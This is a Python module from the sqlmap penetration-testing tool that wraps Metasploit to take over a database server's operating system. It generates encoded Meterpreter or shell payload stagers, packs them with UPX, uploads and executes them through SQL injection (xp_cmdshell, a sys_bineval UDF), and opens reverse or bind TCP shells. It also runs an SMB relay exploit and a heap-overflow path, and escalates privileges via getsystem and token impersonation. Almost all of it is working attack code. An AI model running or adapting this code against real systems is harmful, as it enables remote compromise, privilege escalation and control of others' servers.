#!/usr/bin/env python """ $Id$ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file doc/COPYING for copying permission. """ import codecs import os import re import stat import sys import time from select import select from subprocess import PIPE from subprocess import Popen as execute from lib.core.common import dataToStdout from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import getUnicode from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import pollProcess from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapDataException from lib.core.exception import sqlmapFilePathException from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import setNonBlocking from lib.request.connect import Connect as Request from lib.takeover.upx import upx class Metasploit: """ This class defines methods to call Metasploit for plugins. """ def __initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None self.portStr = None self.payloadStr = None self.encoderStr = None self.payloadConnStr = None self.resourceFile = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) self.__msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole")) self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) self.__msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) self.__msfPayloadsList = { "windows": { 1: ( "Meterpreter (default)", "windows/meterpreter" ), 2: ( "Shell", "windows/shell" ), 3: ( "VNC", "windows/vncinject" ), }, "linux": { 1: ( "Shell", "linux/x86/shell" ), } } self.__msfConnectionsList = { "windows": { 1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ), 2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ), 3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ), }, "linux": { 1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ), 2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ), } } self.__msfEncodersList = { "windows": { 1: ( "No Encoder", "generic/none" ), 2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ), 3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ), 4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ), 5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ), 6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ), 7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ), 8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ), 9: ( "Non-Alpha Encoder", "x86/nonalpha" ), 10: ( "Non-Upper Encoder", "x86/nonupper" ), 11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ), 12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ), 13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ), } } self.__msfSMBPortsList = { "windows": { 1: ( "139/TCP", "139" ), 2: ( "445/TCP (default)", "445" ), } } self.__portData = { "bind": "remote port number", "reverse": "local port number", } def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if kb.os == "Windows": opSys = "windows" else: opSys = "linux" message = "which %s do you want to use?" % msg if lst: for num, data in lst[opSys].items(): description = data[0] if num > maxValue: maxValue = num if "(default)" in description: default = num message += "\n[%d] %s" % (num, description) else: message += " [%d] " % default choice = readInput(message, default="%d" % default) if not choice: if lst: choice = getUnicode(default) else: return default elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") return self.__skeletonSelection(msg, lst, maxValue, default) elif int(choice) > maxValue or int(choice) < 1: logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) return self.__skeletonSelection(msg, lst, maxValue, default) choice = int(choice) if lst: choice = lst[opSys][choice][1] return choice def __selectSMBPort(self): return self.__skeletonSelection("SMB port", self.__msfSMBPortsList) def __selectEncoder(self, encode=True): if isinstance(encode, basestring): return encode elif kb.os == "Windows" and encode: return self.__skeletonSelection("payload encoding", self.__msfEncodersList) def __selectPayload(self): if kb.os == "Windows" and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges, either via 'incognito' " infoMsg += "extension or via 'getsystem' command" logger.info(infoMsg) __payloadStr = "windows/meterpreter" else: __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList) if __payloadStr == "windows/vncinject": choose = False if kb.dbms == "MySQL": debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif kb.dbms == "PostgreSQL": choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0] warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": __payloadStr = "windows/meterpreter" break elif choice == "3": __payloadStr = "windows/shell" break elif choice == "1": if kb.dbms == "PostgreSQL": logger.warn("beware that the VNC injection might not work") break elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") return __payloadStr def __selectPort(self): for connType, connStr in self.__portData.items(): if self.connectionStr.startswith(connType): return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) def __selectRhost(self): if self.connectionStr.startswith("bind"): message = "which is the back-end DBMS address? [%s] " % self.remoteIP address = readInput(message, default=self.remoteIP) if not address: address = self.remoteIP return address elif self.connectionStr.startswith("reverse"): return None else: raise sqlmapDataException, "unexpected connection type" def __selectLhost(self): if self.connectionStr.startswith("reverse") or self.resourceFile is not None: message = "which is the local address? [%s] " % self.localIP address = readInput(message, default=self.localIP) if not address: address = self.localIP return address elif self.connectionStr.startswith("bind"): return None else: raise sqlmapDataException, "unexpected connection type" def __selectConnection(self): return self.__skeletonSelection("connection type", self.__msfConnectionsList) def __prepareIngredients(self, encode=True): self.connectionStr = self.__selectConnection() self.lhostStr = self.__selectLhost() self.rhostStr = self.__selectRhost() self.portStr = self.__selectPort() self.payloadStr = self.__selectPayload() self.encoderStr = self.__selectEncoder(encode) if self.payloadStr == "linux/x86/shell": self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr) else: self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) def __forgeMsfCliCmd(self, exitfunc="process"): self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr) self.__cliCmd += " EXITFUNC=%s" % exitfunc self.__cliCmd += " LPORT=%s" % self.portStr if self.payloadStr == "windows/vncinject": self.__cliCmd += " DisableCourtesyShell=1" if self.connectionStr.startswith("bind"): self.__cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self.__cliCmd += " LHOST=%s" % self.lhostStr else: raise sqlmapDataException, "unexpected connection type" self.__cliCmd += " E" def __forgeMsfConsoleCmd(self): self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile) def __forgeMsfConsoleResource(self): self.resourceFile = os.path.join(conf.outputPath, self.__randFile) self.__prepareIngredients(encode=False) self.__resource = "use windows/smb/smb_relay\n" self.__resource += "set SRVHOST %s\n" % self.lhostStr self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort() self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr self.__resource += "set LPORT %s\n" % self.portStr if self.connectionStr.startswith("bind"): self.__resource += "set RHOST %s\n" % self.rhostStr elif self.connectionStr.startswith("reverse"): self.__resource += "set LHOST %s\n" % self.lhostStr else: raise sqlmapDataException, "unexpected connection type" self.__resource += "exploit\n" self.resourceFp = codecs.open(self.resourceFile, "w", conf.dataEncoding) self.resourceFp.write(self.__resource) self.resourceFp.close() def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr) self.__payloadCmd += " EXITFUNC=%s" % exitfunc self.__payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): self.__payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise sqlmapDataException, "unexpected connection type" if kb.os == "Windows" or extra == "BufferRegister=EAX": self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format) if extra is not None: self.__payloadCmd += " %s" % extra else: self.__payloadCmd += " X > %s" % outFile def __runMsfCli(self, exitfunc): self.__forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework 3 command line " infoMsg += "interface locally, wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self.__cliCmd) self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE) def __runMsfConsole(self): infoMsg = "running Metasploit Framework 3 console locally, wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self.__consoleCmd) self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE) def __runMsfShellcodeRemote(self): infoMsg = "running Metasploit Framework 3 shellcode " infoMsg += "remotely via UDF 'sys_bineval', wait.." logger.info(infoMsg) self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") def __runMsfPayloadRemote(self): infoMsg = "running Metasploit Framework 3 payload stager " infoMsg += "remotely, wait.." logger.info(infoMsg) if kb.os != "Windows": self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True) cmd = "%s &" % self.exeFilePathRemote if kb.dbms == "Microsoft SQL Server" and (kb.stackedTest or conf.direct): cmd = self.xpCmdshellForgeCmd(cmd) self.execCmd(cmd, silent=True) def __loadMetExtensions(self, proc, metSess): if kb.os != "Windows": return if self.resourceFile is not None: proc.stdin.write("sessions -l\n") proc.stdin.write("sessions -i %s\n" % metSess) proc.stdin.write("use espia\n") proc.stdin.write("use incognito\n") proc.stdin.write("use priv\n") proc.stdin.write("use sniffer\n") proc.stdin.write("sysinfo\n") proc.stdin.write("getuid\n") if conf.privEsc: print infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " infoMsg += "techniques, including kitrap0d" logger.info(infoMsg) proc.stdin.write("getsystem\n") infoMsg = "displaying the list of Access Tokens availables. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" logger.info(infoMsg) proc.stdin.write("list_tokens -u\n") proc.stdin.write("getuid\n") def __controlMsfCmd(self, proc, func): stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) proc_out_fd = proc.stdout.fileno() setNonBlocking(proc_out_fd) while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: ready_fds = select([stdin_fd, proc_out_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: proc.stdin.write(blockingReadFromFD(stdin_fd)) except IOError: # Probably the child has exited pass if proc_out_fd in ready_fds[0]: out = blockingReadFromFD(proc_out_fd) blockingWriteToFD(sys.stdout.fileno(), out) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= "Starting the payload handler" in out # For --os-smbrelay smbRelayCond = "Server started" in out if pwnBofCond or smbRelayCond: func() if "Starting the payload handler" in out and "shell" in self.payloadStr: if kb.os == "Windows": proc.stdin.write("whoami\n") else: proc.stdin.write("uname -a ; id\n") metSess = re.search("Meterpreter session ([\d]+) opened", out) if metSess: self.__loadMetExtensions(proc, metSess.group(1)) except EOFError: returncode = proc.wait() return returncode def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework 3 multi-stage shellcode " logger.info(infoMsg) self.__randStr = randomStr(lowercase=True) self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr) self.__initVars() self.__prepareIngredients(encode=encode) self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra) logger.debug("executing local command: %s" % self.__payloadCmd) process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) payloadStderr = process.communicate()[1] if kb.os == "Windows" or extra == "BufferRegister=EAX": payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) else: payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) if payloadSize: payloadSize = int(payloadSize.group(1)) if extra == "BufferRegister=EAX": payloadSize = payloadSize / 2 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "") raise sqlmapFilePathException, errMsg self.__shellcodeFP = codecs.open(self.__shellcodeFilePath, "rb") self.shellcodeString = self.__shellcodeFP.read() self.__shellcodeFP.close() os.unlink(self.__shellcodeFilePath) def createMsfPayloadStager(self, initialize=True): if initialize: infoMsg = "" else: infoMsg = "re" infoMsg += "creating Metasploit Framework 3 payload stager" logger.info(infoMsg) self.__randStr = randomStr(lowercase=True) if kb.os == "Windows": self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s.exe" % self.__randStr) # Metasploit developers added support for the old exe format # to msfencode using '-t exe-small' (>= 3.3.3-dev), # http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840 # This is useful for sqlmap because on PostgreSQL it is not # possible to write files bigger than 8192 bytes abusing the # lo_export() feature implemented in sqlmap. if kb.dbms == "PostgreSQL": self.__fileFormat = "exe-small" else: self.__fileFormat = "exe" else: self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr) self.__fileFormat = "elf" if initialize: self.__initVars() if self.payloadStr is None: self.__prepareIngredients() self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal) logger.debug("executing local command: %s" % self.__payloadCmd) process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) payloadStderr = process.communicate()[1] if kb.os == "Windows": payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I) else: payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) os.chmod(self.exeFilePathLocal, stat.S_IRWXU) if payloadSize: payloadSize = payloadSize.group(1) exeSize = os.path.getsize(self.exeFilePathLocal) # Only pack the payload stager if the back-end DBMS operating # system is Windows and new portable executable template is # used if self.__fileFormat == "exe": packedSize = upx.pack(self.exeFilePathLocal) else: packedSize = None debugMsg = "the encoded payload size is %s bytes, " % payloadSize if packedSize and packedSize < exeSize: debugMsg += "as a compressed portable executable its size " debugMsg += "is %d bytes, decompressed it " % packedSize debugMsg += "was %s bytes large" % exeSize else: debugMsg += "as a portable executable its size is " debugMsg += "%s bytes" % exeSize logger.debug(debugMsg) else: errMsg = "failed to create the payload stager (%s)" % payloadStderr raise sqlmapFilePathException, errMsg def uploadMsfPayloadStager(self, web=False): if web: self.exeFilePathRemote = "%s/%s" % (self.webDirectory, os.path.basename(self.exeFilePathLocal)) else: self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal)) self.exeFilePathRemote = ntToPosixSlashes(normalizePath(self.exeFilePathRemote)) logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote) if web: self.webFileUpload(self.exeFilePathLocal, self.exeFilePathRemote, self.webDirectory) else: self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False) os.unlink(self.exeFilePathLocal) def pwn(self, goUdf=False): if goUdf: exitfunc = "thread" func = self.__runMsfShellcodeRemote else: exitfunc = "process" func = self.__runMsfPayloadRemote self.__runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind"): func() debugMsg = "Metasploit Framework 3 command line interface exited " debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func) logger.debug(debugMsg) if not goUdf: self.delRemoteFile(self.exeFilePathRemote, doubleslash=True) def smb(self): self.__initVars() self.__randFile = "tmpu%s.txt" % randomStr(lowercase=True) self.__forgeMsfConsoleResource() self.__forgeMsfConsoleCmd() if kb.dbms in ( "MySQL", "PostgreSQL" ): self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile) else: self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile) self.__runMsfConsole() debugMsg = "Metasploit Framework 3 console exited with return " debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest) logger.debug(debugMsg) os.unlink(self.resourceFile) def bof(self): self.__runMsfCli(exitfunc="seh") if self.connectionStr.startswith("bind"): self.spHeapOverflow() debugMsg = "Metasploit Framework 3 command line interface exited " debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow) logger.debug(debugMsg)